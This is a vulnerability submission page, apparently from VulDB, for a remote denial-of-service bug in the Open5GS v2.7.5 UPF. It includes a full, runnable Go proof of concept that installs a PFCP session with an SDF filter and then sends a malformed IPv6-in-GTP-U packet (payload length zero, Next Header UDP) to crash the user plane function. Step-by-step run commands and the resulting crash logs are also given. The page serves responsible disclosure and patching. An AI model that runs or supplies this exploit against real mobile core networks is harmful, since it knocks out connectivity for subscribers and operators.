Enviar #719830: Open5GS v2.7.5 Reachable Assertioninformación

TítuloOpen5GS v2.7.5 Reachable Assertion
Descripción### Title: UPF crash from IPv6 Payload Length=0 with non-zero Next Header ### Open5GS Release, Revision, or Tag v2.7.5 ### Description When a PFCP Session Establishment Request installs a CreatePDR whose PDI contains an SDF Filter (e.g., permit out ip from any to any), the UPF data plane invokes decode_ipv6_header() while matching packets. If the attacker sends a GTP-U packet where the IPv6 payload length is zero but the Next Header field is non-zero (e.g., UDP = 0x11), the function hits ogs_assert(nxt == 0) and aborts, causing a remote DoS. ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` package main import ( "encoding/binary" "encoding/hex" "errors" "flag" "fmt" "log" "math/rand" "net" "os" "strings" "time" "github.com/wmnsk/go-pfcp/ie" "github.com/wmnsk/go-pfcp/message" ) const ( defaultPFCPPort = 8805 defaultGTPPort = 2152 readTimeout = 2 * time.Second ) type pfcpClient struct { nodeIP net.IP seid uint64 seq uint32 } func (c *pfcpClient) nextSeq() uint32 { c.seq++ if c.seq == 0 || c.seq > 0x00ffffff { c.seq = 1 } return c.seq } func (c *pfcpClient) mandatoryIEs() []*ie.IE { return []*ie.IE{ ie.NewNodeID(c.nodeIP.String(), "", ""), ie.NewFSEID(c.seid, c.nodeIP, nil), ie.NewPDNType(ie.PDNTypeIPv4), } } func (c *pfcpClient) buildSession(ies ...*ie.IE) *message.SessionEstablishmentRequest { payload := append([]*ie.IE{}, c.mandatoryIEs()...) payload = append(payload, ies...) return message.NewSessionEstablishmentRequest(0, 0, c.seid, c.nextSeq(), 0, payload...) } func (c *pfcpClient) sendAssociation(conn *net.UDPConn) error { req := message.NewAssociationSetupRequest( c.nextSeq(), ie.NewNodeID(c.nodeIP.String(), "", ""), ie.NewRecoveryTimeStamp(time.Now()), ie.NewCPFunctionFeatures(0x3f), ) return sendAndMaybeRead(conn, req) } type pfcpMarshaler interface { Marshal() ([]byte, error) } func sendAndMaybeRead(conn *net.UDPConn, msg pfcpMarshaler) error { payload, err := msg.Marshal() if err != nil { return fmt.Errorf("marshal PFCP message: %w", err) } if _, err := conn.Write(payload); err != nil { return fmt.Errorf("send PFCP message: %w", err) } _ = conn.SetReadDeadline(time.Now().Add(readTimeout)) buf := make([]byte, 2048) if _, err := conn.Read(buf); err != nil { if ne, ok := err.(net.Error); ok && ne.Timeout() { return nil } return fmt.Errorf("read PFCP response: %w", err) } return nil } func buildSessionWithSDFFilter( client *pfcpClient, farID uint32, teid uint32, dnn string, accessIP net.IP, ) *message.SessionEstablishmentRequest { sdf := ie.NewSDFFilter("permit out ip from any to any", "", "", "", 0) pdr := ie.NewCreatePDR( ie.NewPDRID(10), ie.NewPrecedence(200), ie.NewPDI( ie.NewSourceInterface(ie.SrcInterfaceAccess), ie.NewNetworkInstance(dnn), ie.NewFTEID(0x01, teid, accessIP, nil, 0), sdf, ), ie.NewFARID(farID), ) far := ie.NewCreateFAR( ie.NewFARID(farID), ie.NewApplyAction(0x02), // FORW ie.NewForwardingParameters( ie.NewDestinationInterface(ie.DstInterfaceCore), ), ) return client.buildSession(pdr, far) } func resolveAddr(target string, fallbackPort int) (string, error) { if strings.Contains(target, ":") { return target, nil } return fmt.Sprintf("%s:%d", target, fallbackPort), nil } func parseIPv6(ipStr string) net.IP { ip := net.ParseIP(ipStr) if ip == nil || ip.To16() == nil { log.Fatalf("invalid IPv6 address: %s", ipStr) } return ip.To16() } func buildIPv6ZeroPayload(src, dst net.IP) []byte { if src == nil || dst == nil { panic("src/dst IPv6 cannot be nil") } packet := make([]byte, 40+8) packet[0] = 0x60 // payload length == 0 packet[6] = 0x11 // Next Header = UDP packet[7] = 64 // Hop limit copy(packet[8:24], src) copy(packet[24:40], dst) // Append dummy UDP header/payload even though plen=0 udp := packet[40:] binary.BigEndian.PutUint16(udp[0:2], 4444) binary.BigEndian.PutUint16(udp[2:4], 5555) binary.BigEndian.PutUint16(udp[4:6], uint16(len(udp))) udp[6], udp[7] = 0, 0 // checksum left zero return packet } func sendMalformedIPv6(gtpTarget string, teid uint32, payload []byte) error { addr, err := net.ResolveUDPAddr("udp", gtpTarget) if err != nil { return fmt.Errorf("resolve GTP-U target: %w", err) } conn, err := net.DialUDP("udp", nil, addr) if err != nil { return fmt.Errorf("dial GTP-U target: %w", err) } defer conn.Close() header := make([]byte, 8) header[0] = 0x30 // Version 1, PT=1 header[1] = 0xff // G-PDU binary.BigEndian.PutUint16(header[2:4], uint16(len(payload))) binary.BigEndian.PutUint32(header[4:8], teid) packet := append(header, payload...) if _, err := conn.Write(packet); err != nil { return fmt.Errorf("send GTP-U packet: %w", err) } return nil } func main() { var ( pfcpTarget = flag.String("pfcp-target", "127.0.0.1:8805", "UPF PFCP endpoint (host[:port])") gtpTarget = flag.String("gtp-target", "127.0.0.1:2152", "UPF GTP-U endpoint (host[:port])") nodeIPStr = flag.String("node-ip", "10.0.0.1", "NodeID/IPv4 used in PFCP messages") accessIP = flag.String("access-ip", "10.0.0.2", "IPv4 placed in the PDR's F-TEID") dnn = flag.String("dnn", "internet", "Network Instance / DNN") farID = flag.Uint("far-id", 9, "FAR ID referenced by the PDR") teidFlag = flag.Uint("teid", 0x12340000, "TEID programmed into the CreatePDR") srcIPv6 = flag.String("src-ipv6", "2001:db8::1", "IPv6 source address in crafted packet") dstIPv6 = flag.String("dst-ipv6", "2001:db8::2", "IPv6 destination address in crafted packet") skipAssoc = flag.Bool("skip-assoc", false, "Skip the PFCP Association Setup") dumpHex = flag.Bool("dump", false, "Dump crafted PFCP Session Establishment bytes") ) flag.Parse() nodeIP := net.ParseIP(*nodeIPStr) if nodeIP == nil { log.Fatalf("invalid node-ip: %s", *nodeIPStr) } accessTEIDIP := net.ParseIP(*accessIP) if accessTEIDIP == nil { log.Fatalf("invalid access-ip: %s", *accessIP) } resolvedPFCP, err := resolveAddr(*pfcpTarget, defaultPFCPPort) if err != nil { log.Fatalf("resolve PFCP target: %v", err) } resolvedGTP, err := resolveAddr(*gtpTarget, defaultGTPPort) if err != nil { log.Fatalf("resolve GTP target: %v", err) } pfcpAddr, err := net.ResolveUDPAddr("udp", resolvedPFCP) if err != nil { log.Fatalf("resolve PFCP UDP addr: %v", err) } conn, err := net.DialUDP("udp", nil, pfcpAddr) if err != nil { log.Fatalf("dial PFCP: %v", err) } defer conn.Close() rand.Seed(time.Now().UnixNano()) client := &pfcpClient{ nodeIP: nodeIP, seid: uint64(rand.Uint32())<<32 | uint64(rand.Uint32()), seq: uint32(rand.Intn(0x00ffffff)), } if !*skipAssoc { if err := client.sendAssociation(conn); err != nil { log.Printf("association setup failed: %v", err) } else { log.Printf("association setup request sent to %s", resolvedPFCP) } } req := buildSessionWithSDFFilter(client, uint32(*farID), uint32(*teidFlag), *dnn, accessTEIDIP) payload, err := req.Marshal() if err != nil { log.Fatalf("marshal session establishment: %v", err) } if *dumpHex { fmt.Printf("Session Establishment (%d bytes):\n%s\n", len(payload), hex.Dump(payload)) } if _, err := conn.Write(payload); err != nil { log.Fatalf("send session establishment: %v", err) } log.Printf("Installed PDR with SDF Filter (TEID=0x%x). Waiting before sending malformed IPv6...", *teidFlag) time.Sleep(500 * time.Millisecond) src := parseIPv6(*srcIPv6) dst := parseIPv6(*dstIPv6) ipv6Payload := buildIPv6ZeroPayload(src, dst) if err := sendMalformedIPv6(resolvedGTP, uint32(*teidFlag), ipv6Payload); err != nil { if !errors.Is(err, os.ErrDeadlineExceeded) { log.Fatalf("send GTP-U packet: %v", err) } } log.Printf("Malformed IPv6 packet sent; expect UPF to assert in decode_ipv6_header() due to plen=0 & NextHeader!=0") } ``` 3. Download required libraries: go mod tidy 4. Run the program with the upf pfcp server address: ``` go run main.go \ -pfcp-target 10.33.33.3:8805 \ -gtp-target 10.33.33.3:2152 \ -node-ip 10.33.33.4 \ -access-ip 10.33.33.2 \ -dnn internet \ -far-id 9 \ -teid 0x12340000 \ -src-ipv6 2001:db8::1 \ -dst-ipv6 2001:db8::2 ``` ### Logs ```shell 11/26 09:48:55.466: [upf] DEBUG: upf_pfcp_state_associated(): UPF_EVT_N4_MESSAGE (../src/upf/pfcp-sm.c:161) 11/26 09:48:55.466: [upf] INFO: [Added] Number of UPF-Sessions is now 1 (../src/upf/context.c:209) 11/26 09:48:55.466: [upf] DEBUG: Session Establishment Request (../src/upf/n4-handler.c:66) 11/26 09:48:55.466: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429) 0000: 696e7465 726e6574 internet 11/26 09:48:55.466: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525) 11/26 09:48:55.466: [upf] DEBUG: Session Establishment Response (../src/upf/n4-build.c:36) 11/26 09:48:55.466: [pfcp] DEBUG: [12716352] REMOTE UPD TX-51 peer [10.33.33.4]:8805 [10.33.33.1]:53612 (../lib/pfcp/xact.c:191) 11/26 09:48:55.466: [pfcp] DEBUG: [12716352] REMOTE Commit peer [10.33.33.4]:8805 [10.33.33.1]:53612 (../lib/pfcp/xact.c:460) 11/26 09:48:55.967: [pfcp] FATAL: decode_ipv6_header: Assertion `nxt == 0' failed. (../lib/pfcp/rule-match.c:58) 11/26 09:48:55.969: [core] FATAL: backtrace() returned 9 addresses (../lib/core/ogs-abort.c:37) /usr/local/lib/libogspfcp.so.2(+0x3db2a) [0x7f07a1e8fb2a] /usr/local/lib/libogspfcp.so.2(ogs_pfcp_pdr_rule_find_by_packet+0x355) [0x7f07a1e8ffea] open5gs-upfd(+0x12a45) [0x55958cc71a45] /usr/local/lib/libogscore.so.2(+0x2603f) [0
Fuente⚠️ https://github.com/open5gs/open5gs/issues/4180
Usuario
 ZiyuLin (UID 93568)
Sumisión2025-12-19 10:53 (hace 4 meses)
Moderación2025-12-28 09:25 (9 days later)
EstadoAceptado
Entrada de VulDB338561 [Open5GS hasta 2.7.5 PFCP Session Establishment Request lib/pfcp/rule-match.c denegación de servicio]
Puntos20

Interested in the pricing of exploits?

See the underground prices here!